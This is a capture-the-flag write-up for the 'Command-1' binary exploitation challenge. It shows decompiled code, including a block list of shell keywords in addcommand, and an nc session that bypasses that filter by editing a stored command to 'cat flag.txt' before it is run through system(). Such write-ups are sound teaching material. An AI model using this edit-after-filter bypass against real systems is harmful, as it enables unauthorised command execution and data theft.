# Command-1**Category:** Binary Exploitation
**Points:** 227
**Description:**> **Given:** command_1
## WriteupTo start, I went ahead and ran the function to see what we are dealing with.```$ ./command_1Please enter your name: itsecgaryHello itsecgary
-------------------1.) Add command.2.) Run command.3.) Edit command.4.) Exit.```
Looks like we have a menu with some options. After looking through some of theoptions and playing with the options in the menu, I opened it up in **Ghidra**to do a closer analysis of what is happening. Here are some functions we see:
**main**```void main(EVP_PKEY_CTX *param_1) {  int iVar1;
  init(param_1);  printf("Please enter your name: ");  read(0,name,0x10);  printf("Hello %s\n",name);  do {    while( true ) {      while( true ) {        menu();        iVar1 = number();        if (iVar1 != 2) break;        runcommand();      }      if (2 < iVar1) break;      if (iVar1 == 1) {        addcommand();      }      else {LAB_00400ec5:        puts("I don\'t see where you are going.");      }    }    if (iVar1 != 3) {      if (iVar1 == 4) {                    /* WARNING: Subroutine does not return */        exit(0);      }      goto LAB_00400ec5;    }    editcommand();  } while( true );}```
**addcommand**```void addcommand(void) {  char *pcVar1;  char *__dest;  long in_FS_OFFSET;  char *local_30;  char local_1a [10];  long local_10;
  local_10 = *(long *)(in_FS_OFFSET + 0x28);  puts("Enter the command you want to add.");  printf("> ");  read(0,local_1a,10);  pcVar1 = strstr(local_1a,"flag");  if ((((pcVar1 != (char *)0x0) || (pcVar1 = strstr(local_1a,"/bin"), pcVar1 != (char *)0x0)) ||      (pcVar1 = strstr(local_1a,"sh"), pcVar1 != (char *)0x0)) ||     (((pcVar1 = strstr(local_1a,"echo"), pcVar1 != (char *)0x0 ||       (pcVar1 = strstr(local_1a,"cat"), pcVar1 != (char *)0x0)) ||      ((pcVar1 = strstr(local_1a,"shutdown"), pcVar1 != (char *)0x0 ||       (pcVar1 = strstr(local_1a,"init 0"), pcVar1 != (char *)0x0)))))) {    puts("I don\'t see where you are going you idiot");                    /* WARNING: Subroutine does not return */    exit(-1);  }  if ((int)ind < 3) {    __dest = (char *)malloc(0x18);    *(undefined8 *)(__dest + 0x10) = 0;    strncpy(__dest,local_1a,4);    pcVar1 = __dest;    if (head != (char *)0x0) {      local_30 = head;      while (*(long *)(local_30 + 0x10) != 0) {        local_30 = *(char **)(local_30 + 0x10);      }      *(char **)(local_30 + 0x10) = __dest;      pcVar1 = head;    }    head = pcVar1;    printf("Command added at index [%d]\n.",(ulong)ind);    *(char **)(magic + (long)(int)ind * 8) = __dest;    ind = ind + 1;  }  else {    printf("No more space you idiot\n.");  }  if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {    return;  }                    /* WARNING: Subroutine does not return */  __stack_chk_fail();}```
**editcommand**```void editcommand(void) {  int iVar1;  ssize_t sVar2;  long in_FS_OFFSET;  int local_48;  char *local_40;  char local_38 [40];  long local_10;
  local_10 = *(long *)(in_FS_OFFSET + 0x28);  local_48 = 0;  puts("Enter index you want to edit: ");  iVar1 = number();  if (((iVar1 < 0) || (2 < iVar1)) || (*(long *)(magic + (long)iVar1 * 8) == 0)) {    puts("Oops don\'t hack me please.");  }  else {    local_40 = head;    while (local_48 != iVar1) {      local_40 = *(char **)(local_40 + 0x10);      local_48 = local_48 + 1;    }    printf("Enter new command -> ");    sVar2 = read(0,local_38,0x18);    if (sVar2 < 0) {      puts("You must be unlucky.");                    /* WARNING: Subroutine does not return */      exit(-1);    }    strcpy(local_40,local_38);    puts("Command edited.");  }  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {                    /* WARNING: Subroutine does not return */    __stack_chk_fail();  }  return;}```
**runcommand**```void runcommand(void) {  int iVar1;  int local_18;  char *local_10;
  local_18 = 0;  puts("So you want to run the command:");  printf("Enter the index of the command: ");  iVar1 = number();  if (((iVar1 < 0) || (2 < iVar1)) || (*(long *)(magic + (long)iVar1 * 8) == 0)) {    puts("What do you want to run you idiot.");  }  else {    local_10 = head;    while (local_18 != iVar1) {      local_10 = *(char **)(local_10 + 0x10);      local_18 = local_18 + 1;    }    system(local_10);  }  return;}```
My apologies for all of the code dumping here, but it is important to see thatthe **addcommand()** function checks the input and filters out specific commands thatwould be useful to show the flag. The **runcommand()** function simply just runsthe function. The **editcommand()** function edits the command *WITHOUT* sanitizing.
This allows us to add a command, edit that command to whatever we want (probably  'cat flag.txt') and run that command.
```$ nc us.pwn.zh3r0.ml 8520Please enter your name: itsecgaryHello itsecgary
-------------------1.) Add command.2.) Run command.3.) Edit command.4.) Exit.> 1Enter the command you want to add.> poopooCommand added at index [0].-------------------1.) Add command.2.) Run command.3.) Edit command.4.) Exit.> 3Enter index you want to edit:0Enter new command -> cat flag.txtCommand edited.-------------------1.) Add command.2.) Run command.3.) Edit command.4.) Exit.> 2So you want to run the command:Enter the index of the command: 0zh3r0{the_intended_sol_useoverflow_change_nextpointer_toFakechunk_in_bssname}```
## Flagzh3r0{the_intended_sol_useoverflow_change_nextpointer_toFakechunk_in_bssname}
## ResourcesGhidra - https://ghidra-sre.org/